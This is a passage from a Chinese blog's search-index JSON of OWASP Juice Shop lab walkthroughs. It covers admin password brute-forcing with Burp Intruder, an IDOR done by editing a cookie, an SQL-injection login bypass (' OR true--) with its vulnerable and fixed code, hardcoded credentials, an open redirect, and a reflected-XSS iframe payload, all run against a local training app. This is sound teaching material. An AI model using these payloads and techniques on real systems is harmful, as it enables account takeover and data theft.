","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:0","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：分析题目方向 先分析一下描述、提示和标签，暗示这里可能用到一些自动化工具，而且事先不知道 这里的标签 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:1","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#-第一步分析题目方向"},{"categories":["security"],"collections":["juice-shop"],"content":"📋 第二步：提取候选密码字典 从 rockyou 词表中筛选所有以 admin 开头的密码，输出到单独文件备用。 ~/Desktop/pentest ❯ zcat /usr/share/wordlists/rockyou.txt.gz | grep \u0026#34;^admin\u0026#34; \u0026gt; admin_passwords.txt ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:2","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#-第二步提取候选密码字典"},{"categories":["security"],"collections":["juice-shop"],"content":"🌐 第三步：抓取登录请求包 打开 Burp Suite，使用内置浏览器访问 http://127.0.0.1:3000/#/login，随意输入用户名和密码以触发登录请求。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:3","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#-第三步抓取登录请求包"},{"categories":["security"],"collections":["juice-shop"],"content":"🎯 第四步：发送至 Intruder 找到 /rest/user/login 请求，右键发送到 Intruder 模块。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:4","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#-第四步发送至-intruder"},{"categories":["security"],"collections":["juice-shop"],"content":"⚙️ 第五步：配置爆破参数 将 email 字段固定为 Login Admin 挑战中获取的管理员邮箱 admin@juice-sh.op，在 password 字段添加 Payload 位置标记，导入前面生成的 admin_passwords.txt 作为字典。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:5","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#-第五步配置爆破参数"},{"categories":["security"],"collections":["juice-shop"],"content":"💥 第六步：发起攻击 点击 Start Attack 开始爆破。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:6","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#-第六步发起攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第七步：完成挑战 按状态码排序，唯一一条返回 200 的请求即为正确密码。 管理员密码为 admin123（这个弱密码其实也可以直接猜出来）。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:2:7","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#-第七步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过篡改 Cookie 中的 bid 参数，越权查看其他用户的购物车内容。","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ View Basket：查看他人购物车 ","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:0:0","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#juice-shop-view-basket查看他人购物车"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r1. 监控 HTTP 流量，测试所有涉及购物车的现有功能。 2. 可能存在客户端将用户与购物车关联的机制，尝试对其进行操作。 3. 通过 SQL 注入修改关联关系不计入解题。\r","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:1:0","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:2:0","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 前置条件：注册两个测试账号 账号 1： 1@1.com / 11111 账号 2： 2@2.com / 11111 ","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:2:1","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#-前置条件注册两个测试账号"},{"categories":["security"],"collections":["juice-shop"],"content":"🛒 第一步：为账号 1 添加商品 登录账号 1，向购物车中添加若干商品。 可以尝试修改请求中其他参数的值，这也是一个漏洞挖掘的常见思路。 ","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:2:2","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#-第一步为账号-1-添加商品"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第二步：记录账号 1 的 bid 值 打开 DevTools → Application → Cookies，记录当前 bid 值为 6。 ","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:2:3","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#-第二步记录账号-1-的-bid-值"},{"categories":["security"],"collections":["juice-shop"],"content":"🔄 第三步：切换至账号 2，记录其 bid 值 登录账号 2，同样查看 Cookies，bid 值为 7。 ","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:2:4","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#-第三步切换至账号-2记录其-bid-值"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：篡改 bid，实现越权访问 将账号 2 的 bid 值从 7 修改为 6，刷新页面。 账号 2 成功看到账号 1 的购物车内容，水平越权（IDOR）利用成功。 通关！ ","date":"2026-04-04","objectID":"/posts/2026/juice-shop-view-basket/:2:5","tags":["juice-shop","IDOR","越权访问"],"title":"【juice-shop】★★ View Basket：查看他人购物车","uri":"/posts/2026/juice-shop-view-basket/#-第四步篡改-bid实现越权访问"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 SQL 注入攻击绕过登录验证，使用 OR true 和 SQL 注释（--）成功登录管理员账户。","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Login Admin：SQL 注入绕过登录 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:0:0","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#juice-shop-login-adminsql-注入绕过登录"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r1. 挑战说明可能已经透露了你应该采取何种形式进行攻击。 2. 若您恰巧已知晓管理员的电子邮箱地址，便可发起定向攻击。 3. 即使你对管理员邮箱地址一无所知，专用的攻击模式也可能让你走运。 4. 若已获取管理员密码哈希值，你当然可以尝试直接攻击该哈希值，而非使用 SQL 注入攻击。 5. 或者，您也可以将此挑战与以下挑战组合解决：使用管理员用户凭据登录（无需事先更改凭据）或应用 SQL 注入挑战。\r","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:1:0","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 前置条件 未登录 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:2:0","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#0x02-前置条件"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 实战：复现漏洞 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:3:0","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#0x03-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第一步：访问登录页面 通过\u0026quot;账户\u0026quot;菜单转到\u0026quot;登录\u0026quot;页面。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:3:1","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-第一步访问登录页面"},{"categories":["security"],"collections":["juice-shop"],"content":"🧪 第二步：探测 SQL 注入入口 为了绕过正常的登录流程，尝试使用 SQL 注入（SQLi）攻击。 对于简单的 SQL 注入而言，一个好的切入点是插入引号（如 ' 或 \u0026quot;）。这些引号会扰乱不安全的拼接式查询的语法结构。 在电子邮件字段中输入 '，在密码字段中输入任意内容，点击登录按钮。 你会看到顶部的红色 [objectObject] 错误。检查浏览器网络标签页中的 500 响应，会发现包含 SQLITE_ERROR 错误信息以及完整 SQL 查询的提示信息。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:3:2","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-第二步探测-sql-注入入口"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第三步：构造逻辑绕过语句 尝试在电子邮件字段中输入 ' OR true，再次点击登录按钮。 查询仍然无效。从 HTTP 响应中的新错误可以看出，语句结构仍然不完整。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:3:3","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-第三步构造逻辑绕过语句"},{"categories":["security"],"collections":["juice-shop"],"content":"🔐 第四步：使用 SQL 注释绕过 在 SQLite 数据库中，可以使用 -- 来注释掉后续内容。 在电子邮件字段中输入 ' OR true-- ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:3:4","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-第四步使用-sql-注释绕过"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：成功登录 按下回车后成功登录管理员账户，挑战完成。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:3:5","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-第五步成功登录"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 编码挑战 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:4:0","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#0x04-编码挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 找到它（15 行） ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:4:1","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-找到它15-行"},{"categories":["security"],"collections":["juice-shop"],"content":"修复它 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:5:0","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#修复它"},{"categories":["security"],"collections":["juice-shop"],"content":"原始漏洞代码 models.sequelize.query(`SELECT * FROM Users WHERE email = \u0026#39;${req.body.email || \u0026#39;\u0026#39;}\u0026#39; AND password = \u0026#39;${security.hash(req.body.password || \u0026#39;\u0026#39;)}\u0026#39; AND deletedAt IS NULL`, { model: UserModel, plain: true }) ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:5:1","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#原始漏洞代码"},{"categories":["security"],"collections":["juice-shop"],"content":"攻击场景演示 用户输入： email = \u0026#34;\u0026#39; OR true--\u0026#34; password = \u0026#34;anything\u0026#34; 生成的 SQL： SELECT * FROM Users WHERE email = \u0026#39;\u0026#39; OR true--\u0026#39; AND password = \u0026#39;...\u0026#39; AND deletedAt IS NULL 执行结果： - OR true 使条件恒为真 - -- 注释掉后续的 AND password 条件 - 返回第一个用户（通常是 admin） - 认证绕过成功 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:5:2","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#攻击场景演示"},{"categories":["security"],"collections":["juice-shop"],"content":"🛠️ 修复方案对比 方案 修复方式 安全性 评价 fix1 参数化查询 + hash 在绑定 ✅ 安全 正确但冗余 fix2 参数化查询 + hash 在 SQL ❌ 不安全 错误 fix3 黑名单过滤 ❌ 极不安全 错误 fix4 参数化查询 + hash 在绑定 ✅ 安全 最优 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:5:3","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-修复方案对比"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 正确修复（fix4） models.sequelize.query(`SELECT * FROM Users WHERE email = $1 AND password = $2 AND deletedAt IS NULL`, { bind: [ req.body.email, security.hash(req.body.password) ], model: models.User, plain: true }) 核心原理： $1, $2 占位符告诉数据库这是数据，不是 SQL 代码 bind 数组中的值被视为纯数据，不被解析为 SQL 语法 即使输入 ' OR true--，也只被当作字符串值处理 SQL 注入被彻底阻止 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-login-admin/:5:4","tags":["juice-shop","SQL注入","身份认证绕过"],"title":"【juice-shop】★★ Login Admin：SQL 注入绕过登录","uri":"/posts/2026/juice-shop-login-admin/#-正确修复fix4"},{"categories":["security"],"collections":["juice-shop"],"content":"在客户端代码中发现硬编码的测试账户凭据，用于登录系统。","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Sensitive Data Exposure：敏感数据泄露 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:0:0","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#juice-shop-sensitive-data-exposure敏感数据泄露"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r请查看开发者控制台中的客户端代码。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:1:0","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:2:0","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 第一步：打开开发工具 打开浏览器开发工具（F12 或右键 → 检查）。 注意： 如果和我一样使用分离的 DevTools，可能不会触发引导的下一步。可以合并回浏览器再分离出来。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:2:1","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#-第一步打开开发工具"},{"categories":["security"],"collections":["juice-shop"],"content":"📄 第二步：查看源代码 转到 Sources（源代码）标签，检查 main.js 文件。这是所有客户端代码所在的位置。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:2:2","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#-第二步查看源代码"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第三步：搜索凭据相关词汇 在 main.js 中搜索与凭证相关的常见词汇，例如： password pw username 找到硬编码的凭据信息。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:2:3","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#-第三步搜索凭据相关词汇"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第四步：使用凭据登录 前往登录页面，在电子邮件字段中输入找到的电子邮件地址。 点击登录按钮。 ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:2:4","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#-第四步使用凭据登录"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 使用暴露的凭据成功登录系统，挑战完成。 我觉得这个难度应该放到1星…… ","date":"2026-04-03","objectID":"/posts/2026/juice-shop-sensitive-data-exposure/:2:5","tags":["juice-shop","敏感数据泄露","硬编码凭据"],"title":"【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露","uri":"/posts/2026/juice-shop-sensitive-data-exposure/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"利用代码中残留的过期加密货币地址重定向，绕过现代编译器的清理机制。","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/:0:0","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/#juice-shop-outdated-allowlist过期的加密货币地址"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r在从代码中移除对这些地址的引用时，开发人员有些马虎。 更具体地说，他们的代码存在严重疏漏，甚至连 Angular 编译器都无法自动清理这些问题。 当然，仅直接访问任何加密货币链接并不足以解决该挑战。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/:1:0","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/:2:0","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 第一步：定位重定向端点 根据题目线索\u0026quot;重定向（redirect）\u0026quot;，需要在 main.js 中寻找相关代码。打开浏览器开发者工具，在 Sources 标签页找到 main.js 文件。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/:2:1","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/#-第一步定位重定向端点"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第二步：搜索并筛选 将 main.js 格式化后，使用搜索功能： 首次搜索：搜索 redirect 结果：18 个匹配 问题：大多数结果不相关 精确搜索：搜索 /redirect?to 结果：8 个匹配 效果：范围大幅缩小，找到了真正的重定向端点 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/:2:2","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/#-第二步搜索并筛选"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第三步：逐一尝试并完成挑战 逐个尝试搜索结果中的加密货币地址链接，最终找到有效的过期地址： http://127.0.0.1:3000//redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm 访问该链接即可完成挑战。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/:2:3","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/#-第三步逐一尝试并完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 参考资料 📖 Curiosity Kills Colby - Juice Shop Pt. 11: Outdated Whitelist 📋 OWASP Juice Shop 官方解答 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-outdated-allowlist/:3:0","tags":["juice-shop","开放重定向","加密货币"],"title":"【juice-shop】★ Outdated Allowlist：过期的加密货币地址","uri":"/posts/2026/juice-shop-outdated-allowlist/#0x03-参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析路由配置，发现意外部署的智能合约代码沙盒。","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Web3 Sandbox：智能合约沙盒 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/:0:0","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/#juice-shop-web3-sandbox智能合约沙盒"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r它与找到计分板一样容易。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/:1:0","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/:2:0","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 第一步：初始搜索 根据提示\u0026quot;与找到计分板一样容易\u0026quot;，采用相同的方法在 main.js 中搜索 score-board。 搜索结果：61 个匹配 逐个查找这些结果，但没有直接找到沙盒相关的内容。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/:2:1","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/#-第一步初始搜索"},{"categories":["security"],"collections":["juice-shop"],"content":"💡 第二步：转换思路 在查看 score-board 搜索结果时，注意到第 8 个结果中包含一个 path 属性，这可能是一个关键线索。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/:2:2","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/#-第二步转换思路"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第三步：精确搜索 以 path 作为新的搜索关键词： 首次搜索：搜索 path 结果：130 个匹配 问题：结果过多，需要进一步筛选 精确搜索：搜索 path:（添加英文分号） 结果：48 个匹配 效果：范围大幅缩小 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/:2:3","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/#-第三步精确搜索"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第四步：完成挑战 逐个查找 path: 的搜索结果，发现了智能合约沙盒的路由配置，访问该路径即可完成挑战。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-web3-sandbox/:2:4","tags":["juice-shop","信息泄露","路由发现"],"title":"【juice-shop】★ Web3 Sandbox：智能合约沙盒","uri":"/posts/2026/juice-shop-web3-sandbox/#-第四步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过追踪订单页面的 id 参数，注入 XSS 有效负载完成反射型跨站脚本攻击。","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:0:0","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#juice-shop-reflected-xss反射型跨站脚本攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r1. 查找一个 URL 参数，它的值出现在它指向的页面中。 2. 尝试通过提交用 HTML 标签包裹的文本（在屏幕上容易被发现，例如 \u0026lt;h1\u0026gt; 或 \u0026lt;strike\u0026gt;）来探测跨站脚本漏洞。 3. 有效负载：\u0026lt;iframe src=\"javascript:alert('xss')\"\u0026gt;\r","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:1:0","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 这篇的引导非常完整，我们就从引导来完成这个挑战。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:0","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 前置条件：登录账户 需要登录才能进行挑战，随便注册登录一下，继续。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:1","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#-前置条件登录账户"},{"categories":["security"],"collections":["juice-shop"],"content":"📍 第一步：进入保存的地址 点击导航栏中的\u0026quot;账户\u0026quot; → \u0026ldquo;订单和支付\u0026rdquo; → \u0026ldquo;我的保存地址\u0026rdquo;。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:2","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#-第一步进入保存的地址"},{"categories":["security"],"collections":["juice-shop"],"content":"🧪 第二步：尝试地址页面的 XSS 添加一个新地址，使用 \u0026lt;iframe src=\u0026quot;javascript:alert(xss)\u0026quot;\u0026gt; 作为城市名称提交。 值得学习的思路：我们应该怀疑任何一个可以输入的地方。 然而，这里并没有触发 